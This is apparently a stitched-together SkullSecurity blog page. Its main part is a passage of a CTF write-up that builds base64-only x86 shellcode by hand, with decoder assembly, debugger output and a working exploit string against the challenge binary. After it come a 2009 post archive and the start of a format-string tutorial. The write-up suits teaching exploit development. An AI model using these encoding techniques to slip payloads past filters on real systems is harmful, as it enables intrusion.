    --- file.asm    2017-06-11 13:17:57.766651742 -0700
    +++ file-trap.asm       2017-06-11 13:17:46.086525100 -0700
    @@ -45,7 +45,7 @@
     db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
     db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
     db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    -db 'AAAAAAAAAAAAAAAAA'
    +db 'AAAAAAAAAAAAAAAA', 0xcc
    
     ; Now, the second halves of our xor pairs
     dd 0x2b39432b
    

    And run it with corefiles enabled:

    $ nasm -o file file.asm
    $ ulimit -c unlimited
    $ ~/projects/ctf-2017-release/forensics/ximage/solution/run_raw_code ./file
    allocated 335 bytes of executable memory at: 0x41410000
    fish: “~/projects/ctf-2017-release/for...” terminated by signal SIGTRAP (Trace or breakpoint trap)
    $ gdb ~/projects/ctf-2017-release/forensics/ximage/solution/run_raw_code ./core
    Core was generated by `/home/ron/projects/ctf-2017-release/forensics/ximage/solution/run_raw_code ./fi`.
    Program terminated with signal SIGTRAP, Trace/breakpoint trap.
    #0  0x41410141 in ?? ()
    (gdb) x/10i $eip
    => 0x41410141:  push   0x1
       0x41410143:  pop    eax
       0x41410144:  push   0x41414141
       0x41410149:  pop    ebx
       0x4141014a:  inc    ecx
       0x4141014b:  inc    ecx
       0x4141014c:  inc    ecx
       0x4141014d:  int    0x80
       0x4141014f:  add    BYTE PTR [eax],al
       0x41410151:  add    BYTE PTR [eax],al
    

    As you can see, our original shellcode is properly decoded! (The inc ecx instructions you're seeing is our padding.)

    The decoder stub and encoded shellcode can be quite easily generated programmatically rather than doing it by hand, which is extremely error prone (it took me 4 tries to get it right - I messed up the start address, I compiled run_raw_code in 64-bit mode, and I got the endianness backwards before I finally got it right, which doesn't sound so bad, except that I had to go back and re-write part of this section and re-run most of the commands to get the proper output each time :) ).

    That pesky most-significant-bit

    So, I've been avoiding this, because I don't think I solved it in a very elegant way. But, my solution works, so I guess that's something. :)

    As usual, we start by looking at our set of available instructions to see what we can use to set the most significant bit (let's start calling it the "MSB" to save my fingers).

    Unfortunately, the easy stuff can't help us; xor can only set it if it's already set somewhere, we don't have any shift instructions, inc would take forever, and the subtract and multiply instructions could probably work, but it would be tricky.

    Let's start with a simple case: can we set edx to 0x80?

    First, let's set edx to the highest value we can, 0x7F (we choose edx because a) it's one of the three registers we can easily pop into; b) eax is our working variable since it's the only one we can xor; and c) we don't want to change ecx once we start going, since it points to the memory we're decoding):

    irb(main):057:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x0000007F)
    0x41414146 ^ 0x41414139
    

    Using those values and our old push / pop / xor pattern, we can set edx to 0x80:

    push 0x41414146
    pop eax
    xor eax, 0x41414139 ; eax -> 0x7F
    push eax
    pop edx ; edx -> 0x7F
    
    ; Now that edx is 0x7F, we can simply increment it
    inc edx ; edx -> 0x80
    

    That works out to:

    00000000  68 46 41 41 41 58 35 39  41 41 41 50 5a 42        |hFAAAX59AAAPZB|
    

    So far so good! Now we can do our usual xor to set that one bit in our decoded code:

    xor [ecx+0x41], edx
    

    This sets the MSB of whatever ecx+0x41 (our current instruction) is.

    If we were decoding a single bit at a time, we'd be done. Unfortunately, we aren't so lucky - we're working in 32-bit (4-byte) chunks.

    Setting edx to 0x00008000, 0x00800000, or 0x80000000

    So how do we set edx to 0x00008000, 0x00800000, or 0x80000000 without having a shift instruction?

    This is where I introduce a pretty ugly hack. In effect, we use some stack shenanigans to perform a poor-man's shift. This won't work on most non-x86/x64 systems, because they require a word-aligned stack (I was actually a little surprised it worked on x86, to be honest!).

    Let's say we want 0x00008000. Let's just look at the code:

    ; Set all registers to 0 so we start with a clean slate, using the popad strategy from earlier (we need a register that's reliably 0)
    push 0x41414141
    pop eax
    xor eax, 0x41414141
    push eax
    push eax
    push eax
    push eax
    push eax
    push eax
    push eax
    push eax
    popad
    
    ; Set edx to 0x00000080, just like before
    push 0x41414146
    pop eax
    xor eax, 0x41414139 ; eax -> 0x7F
    push eax
    pop edx ; edx -> 0x7F
    inc edx ; edx -> 0x80
    
    ; Push edi (which, like all registers, is 0) onto the stack
    push edi ; 0x00000000
    
    ; Push edx onto the stack
    push edx
    
    ; Move esp by 1 byte - note that this won't work on many architectures, but x86/x64 are fine with a misaligned stack
    dec esp
    
    ; Get edx back, shifted by one byte
    pop edx
    
    ; Fix the stack (not <em>really</em> necessary, but it's nice to do it
    inc esp
    
    ; Add a debug breakpoint so we can inspect the value
    int 3
    

    And we can use gdb to prove it works with the same trick as before:

    $ nasm -o file file.asm
    $ rm -f core
    $ ulimit -c unlimited
    $ ./run_raw_code ./file
    allocated 41 bytes of executable memory at: 0x41410000
    fish: “~/projects/ctf-2017-release/for...” terminated by signal SIGTRAP (Trace or breakpoint trap)
    $ gdb ./run_raw_code ./core
    Program terminated with signal SIGTRAP, Trace/breakpoint trap.
    #0  0x41410029 in ?? ()
    (gdb) print/x $edx
    $1 = 0x8000
    

    We can do basically the exact same thing to set the third byte:

    push edi ; 0x00000000
    push edx
    dec esp
    dec esp ; <-- New
    pop edx
    inc esp
    inc esp ; <-- New
    

    And the fourth:

    push edi ; 0x00000000
    push edx
    dec esp
    dec esp
    dec esp ; <-- New
    pop edx
    inc esp
    inc esp
    inc esp ; <-- New
    

    Putting it all together

    You can take a look at how I do this in my final code. It's going to be a little different, because instead of using our xor trick to set edx to 0x7F, I instead push 0x7a / pop edx / increment 6 times. The only reason is that I didn't think of the xor trick when I was writing the original code, and I don't want to mess with it now.

    But, we're going to do it the hard way: by hand! I'm literally writing this code as I write the blog (and, message from the future: it worked on the second try :) ).

    Let's just stick with our simple exit-with-0x41414141-status shellcode:

    mov eax, 0x01 ; Syscall 1 = sys_exit
    mov ebx, 0x41414141 ; First (and only) parameter: the exit code
    int 0x80
    

    Which assembles to this, which is conveniently already a multiple of 4 bytes so no padding required:

    00000000  b8 01 00 00 00 bb 41 41  41 41 cd 80              |......AAAA..|
    

    Since we're doing it by hand, let's extract all the MSBs into a separate string (remember, this is all done programmatically usually):

    00000000  38 01 00 00 00 3b 41 41  41 41 4d 00              |......AAAA..|
    00000000  80 00 00 00 00 80 00 00  00 00 80 80              |......AAAA..|
    

    If you xor those two strings together, you'll get the original string back.

    First, let's worry about the first string. It's handled exactly the way we did the last example. We start by getting the three 32-bit values as little endian values:

    • 38 01 00 00 -> 0x00000138
    • 00 3b 41 41 -> 0x41413b00
    • 41 41 4d 00 -> 0x004d4141

    And then find the xor pairs to generate them just like before:

    irb(main):061:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x00000138)
    0x41414241 ^ 0x41414379
    
    irb(main):062:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x41413b00)
    0x6a6a4141 ^ 0x2b2b7a41
    
    irb(main):063:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x004d4141)
    0x41626a6a ^ 0x412f2b2b
    

    But here's where the twist comes: let's take the MSB string above, and also convert that to little-endian integers:

    • 80 00 00 00 -> 0x00000080
    • 00 80 00 00 -> 0x00008000
    • 00 00 80 80 -> 0x80800000

    Now, let's try writing our decoder stub just like before, except that after decoding the MSB-free vale, we're going to separately inject the MSBs into the code!

    ; Set all registers to 0 so we start with a clean slate, using the popad strategy from earlier
    push 0x41414141
    pop eax
    xor eax, 0x41414141
    push eax
    push eax
    push eax
    push eax
    push eax
    push eax
    push eax
    push eax
    popad
    
    ; Set ecx to 0x41410100 (0x41 bytes less than the start of the encoded data)
    push 0x6a6a4241
    pop eax
    xor eax, 0x2b2b4341 ; 0x41410100
    push eax
    pop ecx
    
    ; xor the first pair
    push 0x41414241
    pop edx
    xor [ecx+0x41], edx
    
    ; Now we need to xor with 0x00000080, so let's load it into edx
    push 0x41414146
    pop eax
    xor eax, 0x41414139 ; 0x0000007F
    push eax
    pop edx
    inc edx ; edx is now 0x00000080
    xor [ecx+0x41], edx
    
    ; Move to the next value
    inc ecx
    inc ecx
    inc ecx
    inc ecx
    
    ; xor the second pair
    push 0x6a6a4141
    pop edx
    xor [ecx+0x41], edx
    
    ; Now we need to xor with 0x00008000
    push 0x41414146
    pop eax
    xor eax, 0x41414139 ; 0x0000007F
    push eax
    pop edx
    inc edx ; edx is now 0x00000080
    
    push edi ; 0x00000000
    push edx
    dec esp
    pop edx ; edx is now 0x00008000
    inc esp
    xor [ecx+0x41], edx
    
    ; Move to the next value
    inc ecx
    inc ecx
    inc ecx
    inc ecx
    
    ; xor the third pair
    push 0x41626a6a
    pop edx
    xor [ecx+0x41], edx
    
    ; Now we need to xor with 0x80800000; we'll do it in two operations, with 0x00800000 first
    push 0x41414146
    pop eax
    xor eax, 0x41414139 ; 0x0000007F
    push eax
    pop edx
    inc edx ; edx is now 0x00000080
    push edi ; 0x00000000
    push edx
    dec esp
    dec esp
    pop edx ; edx is now 0x00800000
    inc esp
    inc esp
    xor [ecx+0x41], edx
    
    ; And then the 0x80000000
    push 0x41414146
    pop eax
    xor eax, 0x41414139 ; 0x0000007F
    push eax
    pop edx
    inc edx ; edx is now 0x00000080
    push edi ; 0x00000000
    push edx
    dec esp
    dec esp
    dec esp
    pop edx ; edx is now 0x00800000
    inc esp
    inc esp
    inc esp
    xor [ecx+0x41], edx
    
    ; Padding (calculated based on the length above, subtracted from 0x141)
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAA'
    
    ; The second halves of the pairs (ie, the encoded data; this is where the decoded data will end up by the time execution gets here)
    dd 0x41414379
    dd 0x2b2b7a41
    dd 0x412f2b2b
    

    And that's it! Let's try it out! The code leading up to the padding assembles to:

    00000000  68 41 41 41 41 58 35 41  41 41 41 50 50 50 50 50  |hAAAAX5AAAAPPPPP|
    00000010  50 50 50 61 68 41 42 6a  6a 58 35 41 43 2b 2b 50  |PPPahABjjX5AC++P|
    00000020  59 68 41 42 41 41 5a 31  51 41 68 46 41 41 41 58  |YhABAAZ1QAhFAAAX|
    00000030  35 39 41 41 41 50 5a 42  31 51 41 41 41 41 41 68  |59AAAPZB1QAAAAAh|
    00000040  41 41 6a 6a 5a 31 51 41  68 46 41 41 41 58 35 39  |AAjjZ1QAhFAAAX59|
    00000050  41 41 41 50 5a 42 57 52  4c 5a 44 31 51 41 41 41  |AAAPZBWRLZD1QAAA|
    00000060  41 41 68 6a 6a 62 41 5a  31 51 41 68 46 41 41 41  |AAhjjbAZ1QAhFAAA|
    00000070  58 35 39 41 41 41 50 5a  42 57 52 4c 4c 5a 44 44  |X59AAAPZBWRLLZDD|
    00000080  31 51 41 68 46 41 41 41  58 35 39 41 41 41 50 5a  |1QAhFAAAX59AAAPZ|
    00000090  42 57 52 4c 4c 4c 5a 44  44 44 31 51 41           |BWRLLLZDDD1QA|
    

    We can verify it's all base64 by eyeballing it. We can also determine that it's 0x9d bytes long, which means to get to 0x141 we need to pad it with 0xa4 bytes (already included above) before the encoded data.

    We can dump allll that code into a file, and run it with run_raw_code (don't forget to apply the patch from earlier to change the base address to 0x41410000, and don't forget to compile with -m32 for 32-bit mode):

    $ nasm -o file file.asm
    $ strace ./run_raw_code ./file
    read(3, "hAAAAX5AAAAPPPPPPPPahABjjX5AC++P"..., 333) = 333
    exit(1094795585)                        = ?
    +++ exited with 65 +++
    

    It works! And it only took me two tries (I missed the 'inc ecx' lines the first time :) ).

    I realize that it's a bit inefficient to encode 3 lines into like 100, but that's the cost of having a limited character set!

    Solving the level

    Bringing it back to the actual challenge...

    Now that we have working base 64 code, the rest is pretty simple. Since the app encodes the base64 for us, we have to take what we have and decode it first, to get the string that would generate the base64 we want.

    Because base64 works in blocks and has padding, we're going to append a few meaningless bytes to the end so that if anything gets messed up by being a partial block, they will.

    Here's the full "exploit", assembled:

    hAAAAX5AAAAPPPPPPPPahABjjX5AC++PYhABAAZ1QAhFAAAX59AAAPZB1QAAAAAhAAjjZ1QAhFAAAX59AAAPZBWRLZD1QAAAAAhjjbAZ1QAhFAAAX59AAAPZBWRLLZDD1QAhFAAAX59AAAPZBWRLLLZDDD1QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyCAAAz++++/A

    We're going to add a few 'A's to the end for padding (the character we choose is meaningless), and run it through base64 -d (adding '='s to the end until we stop getting decoding errors):

    $ echo 'hAAAAX5AAAAPPPPPPPPahABjjX5AC++PYhABAAZ1QAhFAAAX59AAAPZB1QAAAAAhAAjjZ1QAhFAAAX59AAAPZBWRLZD1QAAAAAhjjbAZ1QAhFAAAX59AAAPZBWRLLZDD1QAhFAAAX59AAAPZBWRLLLZDDD1QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyCAAAz++++/AAAAAAA=' | base64 -d | hexdump -Cv
    00000000  84 00 00 01 7e 40 00 00  0f 3c f3 cf 3c f3 da 84  |....~@...<..<...|
    00000010  00 63 8d 7e 40 0b ef 8f  62 10 01 00 06 75 40 08  |.c.~@...b....u@.|
    00000020  45 00 00 17 e7 d0 00 00  f6 41 d5 00 00 00 00 21  |E........A.....!|
    00000030  00 08 e3 67 54 00 84 50  00 01 7e 7d 00 00 0f 64  |...gT..P..~}...d|
    00000040  15 91 2d 90 f5 40 00 00  00 08 63 8d b0 19 d5 00  |..-..@....c.....|
    00000050  21 14 00 00 5f 9f 40 00  03 d9 05 64 4b 2d 90 c3  |!..._.@....dK-..|
    00000060  d5 00 21 14 00 00 5f 9f  40 00 03 d9 05 64 4b 2c  |..!..._.@....dK,|
    00000070  b6 43 0c 3d 50 00 00 00  00 00 00 00 00 00 00 00  |.C.=P...........|
    00000080  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
    00000090  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
    000000a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
    000000b0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
    000000c0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
    000000d0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
    000000e0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
    000000f0  03 20 80 00 0c fe fb ef  bf 00 00 00 00 00        |. ............|
    

    Let's convert that into a string that we can use on the commandline by chaining together a bunch of shell commands:

    echo -ne 'hAAAAX5AAAAPPPPPPPPahABjjX5AC++PYhABAAZ1QAhFAAAX59AAAPZB1QAAAAAhAAjjZ1QAhFAAAX59AAAPZBWRLZD1QAAAAAhjjbAZ1QAhFAAAX59AAAPZBWRLLZDD1QAhFAAAX59AAAPZBWRLLLZDDD1QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyCAAAz++++/AAAAAAA=' | base64 -d | xxd -g1 file | cut -b10-57 | tr -d '\n' | sed 's/ /\\x/g'
    \x84\x00\x00\x01\x7e\x40\x00\x00\x0f\x3c\xf3\xcf\x3c\xf3\xda\x84\x00\x63\x8d\x7e\x40\x0b\xef\x8f\x62\x10\x01\x00\x06\x75\x40\x08\x45\x00\x00\x17\xe7\xd0\x00\x00\xf6\x41\xd5\x00\x00\x00\x00\x21\x00\x08\xe3\x67\x54\x00\x84\x50\x00\x01\x7e\x7d\x00\x00\x0f\x64\x15\x91\x2d\x90\xf5\x40\x00\x00\x00\x08\x63\x8d\xb0\x19\xd5\x00\x21\x14\x00\x00\x5f\x9f\x40\x00\x03\xd9\x05\x64\x4b\x2d\x90\xc3\xd5\x00\x21\x14\x00\x00\x5f\x9f\x40\x00\x03\xd9\x05\x64\x4b\x2c\xb6\x43\x0c\x3d\x50\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x20\x80\x00\x0c\xfe\xfb\xef\xbf\x00\x00\x00\x00\x00
    

    And, finally, feed all that into b-64-b-tuff:

    $ echo -ne '\x84\x00\x00\x01\x7e\x40\x00\x00\x0f\x3c\xf3\xcf\x3c\xf3\xda\x84\x00\x63\x8d\x7e\x40\x0b\xef\x8f\x62\x10\x01\x00\x06\x75\x40\x08\x45\x00\x00\x17\xe7\xd0\x00\x00\xf6\x41\xd5\x00\x00\x00\x00\x21\x00\x08\xe3\x67\x54\x00\x84\x50\x00\x01\x7e\x7d\x00\x00\x0f\x64\x15\x91\x2d\x90\xf5\x40\x00\x00\x00\x08\x63\x8d\xb0\x19\xd5\x00\x21\x14\x00\x00\x5f\x9f\x40\x00\x03\xd9\x05\x64\x4b\x2d\x90\xc3\xd5\x00\x21\x14\x00\x00\x5f\x9f\x40\x00\x03\xd9\x05\x64\x4b\x2c\xb6\x43\x0c\x3d\x50\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x20\x80\x00\x0c\xfe\xfb\xef\xbf\x00\x00\x00\x00\x00' | strace ./b-64-b-tuff
    read(0, "\204\0\0\1~@\0\0\17<\363\317<\363\332\204\0c\215~@\v\357\217b\20\1\0\6u@\10"..., 4096) = 254
    write(1, "Read 254 bytes!\n", 16Read 254 bytes!
    )       = 16
    write(1, "hAAAAX5AAAAPPPPPPPPahABjjX5AC++P"..., 340hAAAAX5AAAAPPPPPPPPahABjjX5AC++PYhABAAZ1QAhFAAAX59AAAPZB1QAAAAAhAAjjZ1QAhFAAAX59AAAPZBWRLZD1QAAAAAhjjbAZ1QAhFAAAX59AAAPZBWRLLZDD1QAhFAAAX59AAAPZBWRLLLZDDD1QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyCAAAz++++/AAAAAAA=) = 340
    write(1, "\n", 1
    )                       = 1
    exit(1094795585)                        = ?
    +++ exited with 65 +++
    

    And, sure enough, it exited with the status that we wanted! Now that we've encoded 12 bytes of shellcode, we can encode any amount of arbitrary code that we choose to!

    Summary

    So that, ladies and gentlemen and everyone else, is how to encode some simple shellcode into base64 by hand. My solution does almost exactly those steps, but in an automated fashion. I also found a few shortcuts while writing the blog that aren't included in that code.

    To summarize:

    • Pad the input to a multiple of 4 bytes
    • Break the input up into 4-byte blocks, and find an xor pair that generates each value
    • Set ecx to a value that's 0x41 bits before the encoded payload, which is half of the xor pairs
    • Put the other half the xor pair in-line, loaded into edx and xor'd with the encoded payload
    • If there are any MSB bits set, set edx to 0x80 and use the stack to shift them into the right place to be inserted with a xor
    • After all the xors, add padding that's base64-compatible, but is effectively a no-op, to bridge between the decoder and the encoded payload
    • End with the encoded stub (second half of the xor pairs)

    When the code runs, it xors each pair, and writes it in-line to where the encoded value was. It sets the MSB bits as needed. The padding runs, which is an effective no-op, then finally the freshly decoded code runs.

    It's complex, but hopefully this blog helps explain it!

    One thought on “Solving b-64-b-tuff: writing base64 and alphanumeric shellcode

    1. Reply

      Grazfather

      Cool, I like your methodical approach. I did mine similarly, but more back and forth (e.g. I had to keep adding padding in the middle so that the bytes I needed to change were at least 0x30 bytes from the address I had in ecx.

      To do the top bits I had a different approach: I just decremented to put 0xFFFFFFFF into edx, and then just xored that. That flips all bits, but that's totally fine, I just did a byte-wise xor (instead of dword) for the few bytes I needed it applied on.

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### May » 2009 » SkullSecurity

    WebDAV Detection, Vulnerability Checking and Exploitation

    Ahoy! My name is Andrew and I've been playing with the recent IIS WebDAV authentication bypass vulnerability (CVE-2009-1676) and helping Ron with writing the nmap detection script (http-iis-webdav-vuln.nse) and testing it in the lab. Ron is in a meeting today so I thought I'd jump in where he left off and post a bit about […]

    WebDAV Scanning with Nmap

    Greetings! This morning I heard (from the security-basics mailing list, of all places) that there's a zero-day vulnerability going around for WebDAV on Windows 2003. I always like a good vulnerability early in the week, so I decided to write an Nmap script to find it!

    Bypassing AV over the Internet with Metasploit

    I performed all of this to learn more about data exfiltration, remote control, etc... over a tightly controlled corp environment. It was depressing actually.... It's far too easy to gain control of a corp network even one that is conscientious. This work is built on the info at metasploit.com. Oh, let me just say thanks […]

    Nmap 4.85beta9 released

    In case you haven't heard, Fyodor released Nmap 4.85beta9 this week. This is the first release in awhile that wasn't related to my code (or, most properly, mistakes :) ). It looks like the new stable version will be here soon, so give this one a shot and report your bugs. Here's the download page.

    #####EOF##### Defcon Quals: babyecho (format string vulns in gory detail) » SkullSecurity


    Defcon Quals: babyecho (format string vulns in gory detail)

    Welcome to the third (and penultimate) blog post about the 2015 Defcon Qualification CTF! This is going to be a writeup of the "babyecho" level, as well as a thorough overview of format-string vulnerabilities! I really like format string vulnerabilities - they're essentially a "read or write anywhere" primitive - so I'm excited to finally write about them!

    You can grab the binary here, and you can get my exploit and some other files on this Github repo.

    How printf works

    Before understanding how a format string vulnerability works, we first have to understand what a format string is. This is a pretty long and detailed section (can you believe I initially wrote "this will be quick" before I got going?), but if you have a decent idea of how the stack and how printf() work, then you can go ahead and skip to the next section.

    So... what is a format string exactly? A format string is something you see fairly frequently in code, and looks like this:

    printf("The total of %s is %d", str, num);
    

    Essentially, there are a bunch of functions in libc and elsewhere - printf(), sprintf(), and fprintf() to name a few - that require a format string and then 0 or more arguments. In the case of above, the format string is "The total of %s is %d" and the parameters are "str" and "num". The printf() function replaces the %s with the first argument - a pointer to a string - and %d with the second argument - an integer.

    To understand how this works, it helps to understand how the stack works. Check out my post on r0pbaby if you want more general information on stacks (this is going to be targeted specifically at how printf() uses it).

    Let's jump right in and look at what the assembly version of that code snippit might look like:

    push num
    push str
    push "The total of %s is %d" ; you can't actually do this in assembly
    call printf
    add esp, 0x0c
    

    Essentially, this code pushes three arguments onto the stack - the same three arguments that you would pass to printf() in C - for a total of 12 bytes (we're assuming x86 here, but x64 works almost identically). Then it calls printf(). After printf() does its thing and returns, 0x0c (12) is added to the stack - essentially removing the three variables that were pushed (three pushes = 12 bytes onto the stack, subtracting 12 = 12 bytes off the stack).

    When printf() starts, it doesn't technically know how many arguments it received. Much like when we discuss ROP (return-oriented programming), the important thing is this: when we reach line 1 of printf(), printf() assumes everything is set up properly. It doesn't know how many arguments were passed, and it doesn't know where it was called from - it just knows that it's starting and it's supposed to do its thing, otherwise people will be upset.

    So when printf() runs, it grabs the format string from the stack. It looks at how many format specifiers ("%d"/"%s"/etc.) it has, and starts reading them off the stack. It doesn't care if nobody put them there - as far as printf() is concerned, the stack is just a bunch of data, and it can read as far up into the data as it wants (till it hits the end).

    So let's say you do this (and I challenge you to find me a C programmer who hasn't at some point):

    $ cat > test.c
    
    #include <stdio.h>
    
    int main(int argc, const char *argv[])
    {
      printf("%x %x %x\n");
    
      return 0;
    }
    

    Then compile it:

    $ make test
    cc     test.c   -o test
    test.c: In function ‘main’:
    test.c:5:3: warning: format ‘%x’ expects a matching ‘unsigned int’ argument [-Wformat]
    test.c:5:3: warning: format ‘%x’ expects a matching ‘unsigned int’ argument [-Wformat]
    test.c:5:3: warning: format ‘%x’ expects a matching ‘unsigned int’ argument [-Wformat]
    

    Notice that gcc complains that you're doing it wrong, but they're only warnings! It's perfectly happy to let you try.

    Then run the program and marvel at the results:

    $ ./test
    ffffd9d8 ffffd9e8 40054a
    

    Now where the heck did that come from!?

    Well, as I already mentioned, we're reading whatever happened to be on the stack! Let's look at it one more way before we move on: we'll use a stack diagram like we did in r0pbaby to explain things.

    Let's say you have a function called func_a(). func_a() might look like this:

    int func_a(int param_b, int param_c)
    {
      int local_d = 0x123;
      char local_e[12] = "AAAABBBBCCCC";
    
      printf("%x %x %x %x %x %x %x\n");
    }
    

    When func_a() is called by another function, in assembly, it'll look like this:

    ; In C --> func_a(1000, 10);
    push 10
    push 1000
    call func_a
    add esp, 8
    

    and the stack will look like this immediately after the call to func_a() is made (in other words, when it's on the first line of func_a()):

    +----------------------+
    |...higher addresses...|
    +----------------------+
    |...data from caller...|
    +----------------------+
    +----------------------+
    |          10          | <-- param_c
    +----------------------+
    |         1000         | <-- param_b
    +----------------------+
    |     [return addr]    | <-- esp points here
    +----------------------+
    +----------------------+
    |.....unallocated......|
    +----------------------+
    |...lower addresses....| <-- other data from previous function
    +----------------------+
    

    func_a() will look something like this:

    func_a:
      push ebp         ; Back up the old frame pointer
      mov ebp, esp     ; Create the new frame pointer
      sub esp, 0x10    ; Make room for 16 bytes of local vars
    
      mov [ebp-0x04], 0x123 ; Set a local var to 123
      mov [ebp-0x08], 0x41414141 ; "AAAA"
      mov [ebp-0x0c], 0x42424242 ; "BBBB"
      mov [ebp-0x10], 0x43434343 ; "CCCC"
    
      ; format_string would be stored elsewhere, like in .data
      push format_string ; "%x %x %x %x %x %x %x\n"
      call printf      ; Call printf
      add esp, 4       ; Remove the format string from the stack
    
      add esp, 0x10    ; Get rid of the locals from the stack
      pop ebp          ; Restore the previous frame pointer
      ret              ; Return
    

    It's important to note: this is assuming a completely naive compilation, which basically never happens. In reality, a few things would change; for example, local_e may be initialized differently (and likely be padded to 0x10 bytes), plus there will probably be some saved registers taking up space. That being said, the principles won't change - you might just have to mess around with addresses and experiment with the function.

    Looking at that code, you might see that the start and the end of the function are more or less mirrors of each other. It starts by saving ebp and making room on the stack, and ends with getting rid of the room and restoring the saved ebp.

    What's important, though, is what the stack looks like at the moment we call printf(). This is it:

    +----------------------+
    |...higher addresses...|
    +----------------------+
    |...data from caller...|
    +----------------------+
    +----------------------+
    |          10          | <-- param_c
    +----------------------+
    |         1000         | <-- param_b
    +----------------------+
    |     [return addr]    |
    +----------------------+
    |      [saved ebp]     | <-- From the "push ebp"
    +----------------------+
    |       0x123          | <-- local_d
    +----------------------+
    |        CCCC          |
    |        BBBB          | <-- local_e (12 bytes)
    |        AAAA          |        (remember, higher addresses are upwards)
    +----------------------+
    +----------------------+
    |    format_string     | <-- format string was pushed onto the stack
    +----------------------+ <-- esp points here
    |.....unallocated......|
    +----------------------+
    |...lower addresses....| <-- other data from previous function
    +----------------------+
    

    When printf() is called, its return address is pushed onto the stack, and it does whatever it needs to do with its own local variables. But here's the kicker: it thinks it has arguments on the stack! Here's printf()'s view of the function:

    +----------------------+
    |...higher addresses...|
    +----------------------+
    |...data from caller...|
    +----------------------+
    +----------------------+
    |          10          |
    +----------------------+
    |         1000         | <-- seventh format parameter
    +----------------------+
    |     [return addr]    | <-- sixth format parameter
    +----------------------+
    |      [saved ebp]     | <-- fifth format parameter
    +----------------------+
    |       0x123          | <-- fourth format parameter
    +----------------------+
    |        CCCC          | <-- third format parameter
    |        BBBB          | <-- second format parameter
    |        AAAA          | <-- first format parameter
    +----------------------+
    +----------------------+
    |    format_string     | <-- format string was pushed onto the stack
    +----------------------+
    |     [return addr]    | <-- printf's return address
    +----------------------+ <-- esp points somewhere down here
    |...lower addresses....| <-- other data from previous function
    +----------------------+
    

    So what's printf going to do? It's going to print "0x41414141" ("AAAA"), then "0x42424242" ("BBBB"), then "0x43434343" ("CCCC"), then "0x123", then the saved ebp value, then the return address, then "0x3e8" (1000).

    Why's printf() doing that? Because it doesn't know any better. You told it (in the format string) that it has arguments, so it thinks it has arguments!

    Just for fun, I decided to try running the program to see how close I was:

    $ cat > test.c
    #include <stdio.h>
    
    int func_a(int param_b, int param_c)
    {
      int local_d = 0x123;
      char local_e[12] = "AAAABBBBCCCC";
    
      printf("%x %x %x %x %x %x %x\n");
    }
    
    int main(int argc, const char *argv[])
    {
      func_a(1000, 10);
    
      return 0;
    }
